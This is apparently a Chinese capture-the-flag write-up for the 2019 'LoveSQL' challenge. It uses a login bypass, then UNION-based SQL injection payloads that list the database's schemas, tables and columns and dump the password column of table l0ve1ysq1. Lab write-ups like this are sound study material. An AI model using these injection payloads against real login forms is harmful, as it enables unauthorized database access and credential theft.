[極客大挑戰 2019]LoveSQL

0x00 知識點

1：萬能密碼登陸
2：登陸后直接使用聯合查詢注入

0x01解題

登陸后進行簡單測試發現是字符型注入
order by 測試數據庫有多少字段

發現在4的時候報錯，沒有過濾，直接進行注入
注入數據庫：

admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#

查詢數據表

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23
```![](https://img2018.cnblogs.com/blog/1625650/202001/1625650-20200127203623412-351579050.png)



**查詢數據表中的列：**

username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23

**查詢數據**

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23

**查看源代碼得到flag.**